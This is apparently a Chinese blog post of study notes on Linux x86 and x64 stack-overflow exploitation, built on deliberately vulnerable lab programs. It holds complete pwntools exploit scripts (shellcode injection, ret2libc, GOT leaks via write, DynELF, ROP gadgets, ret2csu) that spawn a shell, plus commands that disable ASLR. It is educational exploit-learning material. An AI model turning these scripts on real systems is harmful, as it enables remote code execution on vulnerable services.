蒸米32位及64位ROP笔记

这里将《一步一步学 ROP 之 Linux_x86 篇》和《一步一步学 ROP 之 Linux_64 篇》中的例子做一遍并记录下来。

0x01 32位ROP

level1——栈上执行shellcode

level1主要演示32位程序中最基本的栈溢出利用,可直接在栈上写shellcode并执行。

level1.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}

使用如下指令编译:

1
gcc -m32 -fno-stack-protector -z execstack -o level1 level1.c

-m32参数指定编译为32位程序;-fno-stack-protector参数指定不开启堆栈溢出保护,即不生成 canary;-z execstack参数指定允许栈执行,即不开启NX。

下面3条指令用来关闭整个linux系统的ASLR保护:

1
2
3
sudo -s
echo 0 > /proc/sys/kernel/randomize_va_space
exit

运行程序,输入一串字符串然后返回helloworld;file查看是个动态链接的32位文件;checksec查看所有安全编译选项都没有开:

利用pattern计算偏移,可得到溢出偏移量为140:

由此,我们可以构造”A”*140+shellcode_addr即可将shellcode地址覆盖到函数返回地址中,从而让EIP指针寄存器指向shellcode地址让程序执行shellcode。

这里NX没开,我们可以直接往栈上写shellcode,具体为shellcode+”A”*(140-len(shellcode))+shellcode_addr。

shellcode的构造直接用pwntools的asm(shellcraft.sh())来获得。

下面获取写入的shellcode地址。由于ASLR等都关掉,因此现在获取的地址就不会变了。

一个GDB的坑

在GDB中调试level1,r运行,再输入”abcdaaaaa……”让程序崩溃,然后输入x/10s \$esp-144(144是由前面得到的140偏移再加上4字节的ret得到的):

得到shellcode输入位置的偏移为0xffffcf70。

写payload:

1
2
3
4
5
6
7
8
9
from pwn import *

p = process("./level1")

shellcode = asm(shellcraft.sh())
shellcode_addr = 0xffffcf70
payload = shellcode.ljust(140, "A") + p32(shellcode_addr)
p.sendline(payload)
p.interactive()

然而在运行时会报错,无法正常利用。

填坑

对初学者来说这个shellcode地址的位置其实是一个坑。因为正常的思维是使用gdb调试目标程序,然后查看内存来确定shellcode的位置。但当你真的执行exp的时候你会发现shellcode压根就不在这个地址上!这是为什么呢?原因是gdb的调试环境会影响buf在内存中的位置,虽然我们关闭了ASLR,但这只能保证buf的地址在gdb的调试环境中不变,但当我们直接执行./level1的时候,buf的位置会固定在别的地址上。怎么解决这个问题呢?

最简单的方法就是开启core dump这个功能。

1
2
ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'

开启之后,当出现内存错误的时候,系统会生成一个core dump文件在tmp目录下。然后我们再用gdb查看这个core文件就可以获取到buf真正的地址了。

由此得到shellcode真正的地址0xffffcfb0。

改下payload的地址即可getshell:

1
2
3
4
5
6
7
8
9
from pwn import *

p = process("./level1")

shellcode = asm(shellcraft.sh())
shellcode_addr = 0xffffcfb0
payload = shellcode.ljust(140, "A") + p32(shellcode_addr)
p.sendline(payload)
p.interactive()

除了本地调试,还有远程部署的方式,如下,将题目绑定到指定端口上:

1
socat tcp-l:10001,fork exec:./level1

payload除了将p = process(“./level1”)改为p = remote(“127.0.0.1”, 10001)外,ret的地址还会发生改变。解决方法还是采用生成core dump的方案,然后用gdb调试core文件获取返回地址:

得到ret地址为0xffffcf00,改下payload即可远程getshell:

level2——ret2libc绕过NX

一样的代码,只不过在用GCC编译开启NX保护即栈不可执行。

1
gcc -m32 -fno-stack-protector -o level2 level1.c

这时候我们如果使用level1的exp来进行测试的话,系统会拒绝执行我们的shellcode。如果你通过sudo cat /proc/[pid]/maps查看,你会发现level1的stack是rwx的,但是level2的stack却是rw的。

既然开启了NX,那一般是利用ROP绕过,这里用的是ret2libc,因为程序level2调用了libc.so,并且libc.so里保存了大量可利用的函数如system()和/bin/sh,我们如果可以让程序执行system(“/bin/sh”)的话,也可以获取到shell。

下面的问题就变为怎么获取libc中的system和binsh的地址。

因为我们关掉了ASLR,此时system()函数在内存中的地址是不会变化的,并且libc.so中也包含”/bin/sh”这个字符串,并且这个字符串的地址也是固定的。

此时我们可以使用GDB进行调试,在main打下断点然后运行,程序在main断点处停下再通过print和find命令来查找system和”/bin/sh”字符串的地址:

system()函数地址为:0xf7e42940

/bin/sh地址为:0xf7f6102b

至于溢出偏移量和level1一样为140。

编写payload:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

p = process("./level2")

system_addr = 0xf7e42940
binsh_addr = 0xf7f6102b

payload = "A" * 140 + p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr)
p.sendline(payload)

p.interactive()

level2——ROP绕过NX和ASLR

在前一小节的基础下,开启在level1中关掉的ASLR:

1
2
3
sudo -s
echo 2 > /proc/sys/kernel/randomize_va_space
exit

如果你通过sudo cat /proc/[pid]/maps或者ldd查看,你会发现level2的libc.so地址每次都是变化的:

此时利用前一小节的办法print和find是获取不到对的地址的,因为每次运行栈的地址都会变化。

如何利用呢?——思路是:先泄漏出libc.so某些函数在内存中的地址,再利用泄漏出的函数地址根据偏移量计算出system()函数和/bin/sh字符串在内存中的地址,最后执行我们的ret2libc的shellcode。既然栈、libc、堆的地址都是随机的,我们怎么才能泄露出libc.so的地址呢?方法还是有的,因为程序本身在内存中的地址并不是随机的,如图所示,Linux内存随机化分布图:

所以我们只要把返回值设置到程序本身就可执行我们期望的指令了。

首先我们利用objdump来查看可以利用的plt函数和函数对应的got表:

除了程序本身的函数之外,还有read@plt()和write@plt()函数可用,但因为程序本身没有调用system()函数因此并不能直接调用system()来获取shell。但其实我们有write@plt()函数就够了,因为我们可以通过write@plt ()函数把write()函数在内存中的地址也就是write.got给打印出来。

既然write()函数实现是在libc.so当中,那我们调用的write@plt()函数为什么也能实现write()功能呢? 这是因为linux采用了延时绑定技术,当我们调用write@plit()的时候,系统会将真正的write()函数地址link到got表的write.got中,然后write@plit()会根据write.got跳转到真正的write()函数上去。(如果还是搞不清楚的话,推荐阅读《程序员的自我修养 - 链接、装载与库》这本书)

因为system()函数和write()在libc.so中的offset(相对地址)是不变的,所以如果我们得到了write()的地址并且拥有目标服务器上的libc.so就可以计算出system()在内存中的地址了。

然后我们再将pc指针return回vulnerable_function()函数,就可以进行ret2libc溢出攻击,并且这一次我们知道了system()在内存中的地址,就可以调用system()函数来获取我们的shell了。

使用ldd命令可以查看目标程序调用的so库。随后我们把libc.so拷贝到当前目录,因为我们的exp需要这个so文件来计算相对地址:

当然,除了用ldd命令查看libc.so库,还可以直接用pwntools库的elf.libc来获取libc.so库:

1
2
3
from pwn import *
elf = ELF("./level2")
libc = elf.libc

编写payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

#p = process("./level2")
p = remote("127.0.0.1", 10001)
elf = ELF("./level2")
libc = elf.libc
write_plt = elf.plt["write"]
write_got = elf.got["write"]
vulnerable_function_addr = elf.symbols["vulnerable_function"]
print "[*]write() plt: " + hex(write_plt)
print "[*]write() got: " + hex(write_got)
print "[*]vulnerable_function() addr: " + hex(vulnerable_function_addr)

payload = "A" * 140 + p32(write_plt) + p32(vulnerable_function_addr) + p32(1) + p32(write_got) + p32(4)

print "[*]sending payload1 to leak write libc addr..."
p.sendline(payload)
write_addr = u32(p.recv(4))

print "[*]leak write libc addr: " + hex(write_addr)

libc.address = write_addr - libc.symbols["write"]
system_addr = libc.symbols["system"]
binsh_addr = next(libc.search("/bin/sh"))
print "[*]system() addr: " + hex(system_addr)
print "[*]binsh addr: " + hex(binsh_addr)

payload2 = "A" * 140 + p32(system_addr) + p32(0xdeedbeef) + p32(binsh_addr)

print "[*]sending payload2 to getshell..."
p.sendline(payload2)

p.interactive()

另一种是ldd命令查找再赋值libc.so文件到当前目录再加载的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *

#p = process("./level2")
p = remote("127.0.0.1", 10001)

elf = ELF("./level2")

libc = ELF("libc.so.6")
#libc = elf.libc
write_plt = elf.plt["write"]
write_got = elf.got["write"]
vulnerable_function_addr = elf.symbols["vulnerable_function"]
print "[*]write() plt: " + hex(write_plt)
print "[*]write() got: " + hex(write_got)
print "[*]vulnerable_function() addr: " + hex(vulnerable_function_addr)

payload = "A" * 140 + p32(write_plt) + p32(vulnerable_function_addr) + p32(1) + p32(write_got) + p32(4)

print "[*]sending payload1 to leak write libc addr..."
p.sendline(payload)
write_addr = u32(p.recv(4))

print "[*]leak write libc addr: " + hex(write_addr)

#libc.address = write_addr - libc.symbols["write"]
system_addr = libc.symbols["system"] + write_addr - libc.symbols["write"]
binsh_addr = next(libc.search("/bin/sh")) + write_addr - libc.symbols["write"]
print "[*]system() addr: " + hex(system_addr)
print "[*]binsh addr: " + hex(binsh_addr)

payload2 = "A" * 140 + p32(system_addr) + p32(0xdeedbeef) + p32(binsh_addr)

print "[*]sending payload2 to getshell..."
p.sendline(payload2)

p.interactive()

level2——Memory Leak & DynELF

本小节介绍了在不获取目标libc.so的情况下进行ROP攻击。

前面一小节我们用到了目标机器的libc.so才能计算出libc中system()和/bin/sh等的地址来实现攻击,但是如果我们在获取不到目标机器上的libc.so情况下,应该如何做呢?这时候就需要通过memory leak(内存泄露)来搜索内存找到system()的地址。

这里我们采用pwntools提供的DynELF模块来进行内存搜索。首先我们需要实现一个leak(address)函数,通过这个函数可以获取到某个地址上最少1 byte的数据。拿我们上一篇中的level2程序举例。leak函数应该是这样实现的:

1
2
3
4
5
6
def leak(address):
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4)
p.send(payload1)
data = p.recv(4)
print "%#x => %s" % (address, (data or '').encode('hex'))
return data

随后将这个函数作为参数再调用d = DynELF(leak, elf=ELF(‘./level2’))就可以对DynELF模块进行初始化了。然后可以通过调用system_addr = d.lookup(‘system’, ‘libc’)来得到libc.so中system()在内存中的地址。

要注意的是,通过DynELF模块只能获取到system()在内存中的地址,但无法获取字符串“/bin/sh”在内存中的地址。所以我们在payload中需要调用read()将“/bin/sh”这字符串写入到程序的.bss段中。.bss段是用来保存全局变量的值的,地址固定,并且可以读可写。通过readelf -S level2这个命令就可以获取到bss段的地址了。

当然,可以在pwntools中直接调用elf.bss()获取.bss段地址:

1
2
elf = ELF("./level2")
bss_base = elf.bss()

因为我们在执行完read()之后要接着调用system(“/bin/sh”),并且read()这个函数的参数有三个,所以我们需要一个pop pop pop ret的gadget用来保证栈平衡。这里我们用ROPgadget来寻找:

编写payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *

p = remote("127.0.0.1", 10001)
#p = process("./level2")

elf = ELF("./level2")
bss_base = elf.bss()
plt_write = elf.plt["write"]
plt_read = elf.plt["read"]
vulfun_addr = elf.symbols["vulnerable_function"]
print "[*]write() plt: " + hex(plt_write)
print "[*]read() plt: " + hex(plt_read)
print "[*]vulnerable_function() addr: " + hex(vulfun_addr)
print "[*].bss addr: " + hex(bss_base)


def leak(address):
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4)
p.send(payload1)
data = p.recv(4)
#print "%#x => %s" % (address, (data or '').encode('hex'))
return data

d = DynELF(leak, elf=ELF('./level2'))

execve_addr = d.lookup('execve', 'libc')
print "[*]execve() addr: " + hex(execve_addr)

#system_addr = d.lookup('system', 'libc')
#print "[*]system() addr: " + hex(system_addr)

pop_pop_pop_ret = 0x080484f9
payload2 = "A" * 140 + p32(plt_read) + p32(pop_pop_pop_ret) + p32(0) + p32(bss_base) + p32(8)
#payload2 += p32(system_addr) + p32(vulfun_addr) + p32(bss_base)
payload2 += p32(execve_addr) + p32(vulfun_addr) + p32(bss_base) + p32(0) + p32(0)


p.sendline(payload2)
p.sendline("/bin/sh\0")

p.interactive()

本地环境中system()函数执行有问题,老得不到shell,换了execve()函数即可:

0x02 64位ROP

level3——64位与32位区别

linux_64与linux_86的区别主要有两点:首先是内存地址的范围由32位变成了64位。但是可以使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。其次是函数参数的传递方式发生了改变,x86中参数都是保存在栈上,但在x64中的前六个参数依次保存在RDI,RSI,RDX,RCX,R8和 R9中,如果还有更多的参数的话才会保存在栈上。

level3.c代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void callsystem()
{
system("/bin/sh");
}

void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}

默认打开系统的ASLR,然后用如下gcc命令编译,即不开启Canary:

1
gcc -fno-stack-protector level3.c -o level3

查看基本功能和安全编译选项开关:

通过GDB的调试,用pattern创建大量字符串发送过去,程序终止在vulnerable_function()函数处:

奇怪的事情发生了,PC指针并没有指向类似于0x41414141那样地址,而是停在了vulnerable_function()函数中。这是为什么呢?原因就是我们之前提到过的程序使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。但是,虽然PC不能跳转到那个地址,我们依然可以通过栈来计算出溢出点。因为ret相当于“pop rip”指令,所以我们只要看一下栈顶的数值就能知道PC跳转的地址了。

因此我们得到了136的偏移地址。

我们再构造一次payload,并且跳转到一个小于0x00007fffffffffff的地址,看看这次能否控制pc的指针:

1
2
3
python -c 'print "A"*136+"ABCDEF\x00\x00"' > payload
gdb level3
(gdb) r < payload

可以看到我们已经成功的控制了PC的指针了。

知道了偏移量,且程序中本来就存在一个callsystem()函数,其会直接调用system(“/bin/sh”),那就简单多了。

编写payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

p = process("./level3")

elf = ELF("./level3")
callsystem_addr = elf.symbols["callsystem"]
print "[*]callsystem() addr: " + hex(callsystem_addr)

payload = "A" * 136 + p64(callsystem_addr)

print "[*]sending payload..."
p.sendline(payload)
p.interactive()

level4——使用工具寻找gadgets

我们之前提到x86中参数都是保存在栈上,但在x64中前六个参数依次保存在RDI,RSI,RDX,RCX,R8和 R9寄存器里,如果还有更多的参数的话才会保存在栈上。所以我们需要寻找一些类似于pop rdi; ret的这种gadget。如果是简单的gadgets,我们可以通过objdump来查找。但当我们打算寻找一些复杂的gadgets的时候,还是借助于一些查找gadgets的工具比较方便。比较有名的工具有:

ROPEME: https://github.com/packz/ropeme

Ropper: https://github.com/sashs/Ropper

ROPgadget: https://github.com/JonathanSa…

rp++: https://github.com/0vercl0k/rp

这些工具功能上都差不多,找一款自己能用的惯的即可。

level4.c代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>

void systemaddr()
{
void* handle = dlopen("libc.so.6", RTLD_LAZY);
printf("%p\n",dlsym(handle,"system"));
fflush(stdout);
}

void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
systemaddr();
write(1, "Hello, World\n", 13);
vulnerable_function();
}

编译,因为程序用到了dlopen()函数打开libc,因此需要-ldl参数:

1
gcc -fno-stack-protector level4.c -o level4 -ldl

64位程序,动态链接文件,只开启了NX:

用IDA分析,看到程序在一开始运行时调用systemaddr()函数,该函数会从本程序用到的libc.so.6中获取其中的system()函数地址并打印出来:

和level3一样得到溢出偏移量为136。

下面开始使用工具来寻找合适的Gadgets。

因为我们知道了溢出偏移量和system()函数的地址,剩下的就是通过寄存器给system()函数传参了,而在64位中传参的前六个参数是通过寄存器来实现的,而且system()只接受一个参数,因此我们需要找到一条pop rdi;ret的Gadget来帮助我们实现,这里我们用的是ROPgadget工具帮我们查找:

当然,一般情况下自身的程序可能没有合适的Gadgets,这时我们可以到指定的libc.so文件中找到合适的:

编写payload,有两个Gadget可选,如果用的是libc中的Gadget则需要加上libc的实际地址来计算出该gadget的实际地址,因为libc.address = offset = system_addr - libc.symbols[‘system’] = gadget实际地址 - gadget在libc中地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

p = process("./level4")

elf = ELF("./level4")
libc = elf.libc

## self gadget
#pop_rdi_ret_addr = 0x00000000004008b3
## libc gadget
pop_rdi_ret_libc = 0x0000000000021102

system_addr = int(p.recv(1024).split()[0], 16)
print "[*]recv system() addr: " + hex(system_addr)

libc.address = system_addr - libc.symbols["system"]
binsh_addr = next(libc.search("/bin/sh"))
## libc gadget + libc addr
pop_rdi_ret_addr = pop_rdi_ret_libc + libc.address
print "[*]/bin/sh libc addr: " + hex(binsh_addr)

payload = "A" * 136 + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)

print "[*]sending payload..."
p.sendline(payload)
p.interactive()

除了前面找的pop rdi;ret这个Gadget,我们还可以找另外一个gadget,因为我们只需调用一次system()函数就可以获取shell,所以我们也可以搜索不带ret的gadgets来构造ROP链,如下:

可以看到pop rax;pop rdi;call rax这个gadget,我们可以先将rax赋值为system()的地址,rdi赋值为“/bin/sh”的地址,最后再调用call rax即可。

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

p = process("./level4")

elf = ELF("./level4")
libc = elf.libc

#pop|ret
## self gadget
#pop_rdi_ret_addr = 0x00000000004008b3
## libc gadget
#pop_rdi_ret_libc = 0x0000000000021102

#pop|call
pop_call_libc = 0x0000000000107419

system_addr = int(p.recv(1024).split()[0], 16)
print "[*]recv system() addr: " + hex(system_addr)

libc.address = system_addr - libc.symbols["system"]
binsh_addr = next(libc.search("/bin/sh"))
#pop_rdi_ret_addr = pop_rdi_ret_libc + libc.address
pop_call_addr = pop_call_libc +libc.address
print "[*]/bin/sh libc addr: " + hex(binsh_addr)

#payload = "A" * 136 + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)
payload = "A" * 136 + p64(pop_call_addr) + p64(system_addr) + p64(binsh_addr)

print "[*]sending payload..."
p.sendline(payload)
p.interactive()

level5——通用gadgets

因为程序在编译过程中会加入一些通用函数用来进行初始化操作(比如加载libc.so的初始化函数),所以虽然很多程序的源码不同,但是初始化的过程是相同的,因此针对这些初始化函数,我们可以提取一些通用的gadgets加以使用,从而达到我们想要达到的效果。

level5.c代码如下,相比于level3和level4,去掉了提供system()或其地址的辅助函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}

可以看到这个程序仅仅只有一个buffer overflow,也没有任何的辅助函数可以使用,所以我们要先想办法泄露内存信息,找到system()的值,然后再传递“/bin/sh”到.bss段,最后调用system(“/bin/sh”)。因为原程序使用了write()和read()函数,我们可以通过write()去输出write.got的地址,从而计算出libc.so在内存中的地址。但问题在于write()的参数应该如何传递,因为x64下前6个参数不是保存在栈中,而是通过寄存器传值。我们使用ROPgadget并没有找到类似于pop rdi, ret,pop rsi, ret这样的gadgets。那应该怎么办呢?其实在x64下有一些万能的gadgets可以利用。比如说我们用objdump -d ./level5观察一下__libc_csu_init()这个函数。一般来说,只要程序调用了libc.so,程序都会有这个函数用来对libc进行初始化操作。

编译:

1
gcc -fno-stack-protector -o level5 level5.c

基本功能和安全编译开关和前面的一致。

溢出偏移量也和之前的一致,为136。

用objdump -d ./level5观察一下__libc_csu_init()这个函数:

可以看到,利用0x40061a处的代码可以控制rbx、rbp、r12、r13、r14和r15的值,随后利用0x400600处的代码可以将r13的值赋值给rdx、r14的值赋值给rsi、r15的值赋值给edi(这和蒸米原文的顺序是相反的,因为本地编译出来的程序所用的gadget有些许区别,其实这里利用的就是ret2csu技巧),随后就会调用call qword ptr [r12+rbx*8]。这时候我们只要再将rbx的值赋值为0,再通过精心构造栈上的数据,我们就可以控制pc去调用我们想要调用的函数了(比如说write函数)。执行完call qword ptr [r12+rbx*8]之后,程序会对rbx+=1,然后对比rbp和rbx的值,如果相等就会继续向下执行并ret到我们想要继续执行的地址。所以为了让rbp和rbx的值相等,我们可以将rbp的值设置为1,因为之前已经将rbx的值设置为0了。大概思路就是这样,我们下来构造ROP链。

这里列两种getshell的方法。

Method1——只用ret2csu的Gadget

第一种是蒸米讲解的方法,即利用该gadget构造3段payload,分别是泄露write()函数地址、向程序.bss段写入”/bin/sh”和system()或execve()函数地址、传入bss_addr+8处的参数并调用bss_addr地址处的函数即执行system(“/bin/sh”)。

最终exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *

p = process('./level5')
#p = remote('192.168.17.155',10001)

elf = ELF('level5')
libc = elf.libc
main = elf.symbols['main']
bss_addr = elf.bss()

gadget1 = 0x40061a
gadget2 = 0x400600

got_write = elf.got['write']
print "[*]write() got: " + hex(got_write)
got_read = elf.got['read']
print "[*]read() got: " + hex(got_read)

def csu(rbx, rbp, r12, r13, r14, r15, ret):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
payload = "A" * 136
payload += p64(gadget1) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(gadget2)
payload += "B" * 56
payload += p64(ret)
return payload

#write(rdi=1, rsi=write.got, rdx=4)
payload1 = csu(0, 1, got_write, 8, got_write, 1, main)

p.recvuntil("Hello, World\n")

print "\n#############sending payload1#############\n"
p.send(payload1)
sleep(1)

write_addr = u64(p.recv(8))
print "[*]leak write() addr: " + hex(write_addr)

libc.address = write_addr - libc.symbols['write']
execve_addr = libc.symbols["execve"]
print "[*]execve() addr: " + hex(execve_addr)

p.recvuntil("Hello, World\n")

#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 = csu(0, 1, got_read, 16, bss_addr, 0, main)

print "\n#############sending payload2#############\n"
p.send(payload2)
sleep(1)

p.send(p64(execve_addr))
p.send("/bin/sh\0")
sleep(1)

p.recvuntil("Hello, World\n")

#execve(rdi = bss_addr+8 = "/bin/sh", rsi=0, rdx=0)
payload3 = csu(0, 1, bss_addr, 0, 0, bss_addr + 8, main)

print "\n#############sending payload3#############\n"

sleep(1)
p.send(payload3)

p.interactive()

简单说下:

  • 由于利用到泄露函数地址和向.bss段写内容的功能,需要先获取write()和read()函数的GOT地址;
  • 本次利用的Gadget即ret2csu,定义一个csu函数,用于构造Gadget传参构造payload,其中payload构造是先填充溢出偏移量的字符、然后根据gadget1来设置对应寄存器的值、再调用gadget2、然后填充字符至gadget1的ret指令处、最后调用输入的返回地址即main处让程序继续执行下去;这里注意两个偏移量,第一个136是程序本身溢出到ret的偏移量,而第二个56则是gadget2跑完之后还要继续往下跑到gadget1的ret中去,这中间需要填充56个字节;
  • payload1利用write()输出write在内存中的地址。注意我们的gadget是call qword ptr [r12+rbx*8],所以我们应该使用write.got的地址而不是write.plt的地址。并且为了返回到原程序中,重复利用buffer overflow的漏洞,我们需要继续覆盖栈上的数据,直到把返回值覆盖成目标函数的main函数为止;
  • 当我们exp在收到write()在内存中的地址后,就可以计算出system()在内存中的地址了。接着构造payload2,利用read()将system()或execve()的地址以及“/bin/sh”读入到.bss段内存中;
  • 最后我们构造payload3,调用system()函数执行“/bin/sh”。注意,system()的地址保存在了.bss段首地址上,“/bin/sh”的地址保存在了.bss段首地址+8字节上。

在我的本地环境中,利用system()的exp会得不到shell,换了execve()才可以:

Method2——利用两个Gadgets

其实不用向.bss段写内容再调用,有点繁琐,且同一个Gadget调用了3次。

除了利用ret2csu的gadget,这里还利用到pop rdi|ret这个gadget,主要用于给system(函数的第一个参数赋值并返回往下调用system()函数从而getshell:

基本利用过程就是:通过ret2csu的gadget泄露write()函数的真实地址,通过LibcSearcher或查询的方式得到libc的offset然后计算出system()函数和”/bin/sh”的真实地址,最后利用pop rdi|ret这个gadget构造exp执行system(“/bin/sh”)。

payload如下,下面将改为远程连接的形式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
from LibcSearcher import *

# p = process('./level5')
p = remote('192.168.17.155',10001)

elf = ELF('level5')

gadget1 = 0x40061a
gadget2 = 0x400600
pop_rdi_ret = 0x0000000000400623

main_addr = elf.symbols['main']
write_got = elf.got['write']
print "[*]main() addr: " + hex(main_addr)
print "[*]write() got: " + hex(write_got)


def csu(rbx, rbp, r12, r13, r14, r15, ret):
payload = "A" * 136
payload += p64(gadget1) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(gadget2)
payload += "B" * 56
payload += p64(ret)
return payload

#write(rdi=1, rsi=write.got, rdx=4)
payload = csu(0, 1, write_got, 8, write_got, 1, main_addr)

p.recvuntil("Hello, World\n")

print "[*]sending payload to leak write addr..."
p.send(payload)
sleep(1)

write_addr = u64(p.recv(8))
print "[*]leak write() addr: " + hex(write_addr)

libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
print "[*]system() addr: " + hex(system_addr)
print "[*]/bin/sh addr: " + hex(binsh_addr)

p.recvuntil("Hello, World\n")

print "[*]sending exp..."
exp = "A" * 136
exp += p64(pop_rdi_ret)
exp += p64(binsh_addr)
exp += p64(system_addr)
p.sendline(exp)
p.interactive()

当然,也可以不用LibcSearcher这个工具包,而是直接通过查询Libc Database Search的方式自己写地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

# p = process('./level5')
p = remote('192.168.17.155',10001)

elf = ELF('level5')

gadget1 = 0x40061a
gadget2 = 0x400600
pop_rdi_ret = 0x0000000000400623

main_addr = elf.symbols['main']
write_got = elf.got['write']
print "[*]main() addr: " + hex(main_addr)
print "[*]write() got: " + hex(write_got)


def csu(rbx, rbp, r12, r13, r14, r15, ret):
payload = "A" * 136
payload += p64(gadget1) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(gadget2)
payload += "B" * 56
payload += p64(ret)
return payload

#write(rdi=1, rsi=write.got, rdx=4)
payload = csu(0, 1, write_got, 8, write_got, 1, main_addr)

p.recvuntil("Hello, World\n")

print "[*]sending payload to leak write addr..."
p.send(payload)
sleep(1)

write_addr = u64(p.recv(8))
print "[*]leak write() addr: " + hex(write_addr)

## libc db search
## leak write low 3: 2b0
system_offset = 0x045390
binsh_offset = 0x18cd57
write_offset = 0x0f72b0
libc_base = write_addr - write_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
print "[*]system() addr: " + hex(system_addr)
print "[*]/bin/sh addr: " + hex(binsh_addr)

p.recvuntil("Hello, World\n")

print "[*]sending exp..."
exp = "A" * 136
exp += p64(pop_rdi_ret)
exp += p64(binsh_addr)
exp += p64(system_addr)
p.sendline(exp)
p.interactive()

getshell:

0x03 参考

一步一步学ROP之Linux_x86篇

一步一步学ROP之Linux_x64篇

文章目录
  1. 1. 0x01 32位ROP
    1. 1.1. level1——栈上执行shellcode
    2. 1.2. level2——ret2libc绕过NX
    3. 1.3. level2——ROP绕过NX和ASLR
    4. 1.4. level2——Memory Leak & DynELF
  2. 2. 0x02 64位ROP
    1. 2.1. level3——64位与32位区别
    2. 2.2. level4——使用工具寻找gadgets
    3. 2.3. level5——通用gadgets
      1. 2.3.1. Method1——只用ret2csu的Gadget
      2. 2.3.2. Method2——利用两个Gadgets
  3. 3. 0x03 参考
本博客采用disqus评论系统,需要翻墙访问 : )
|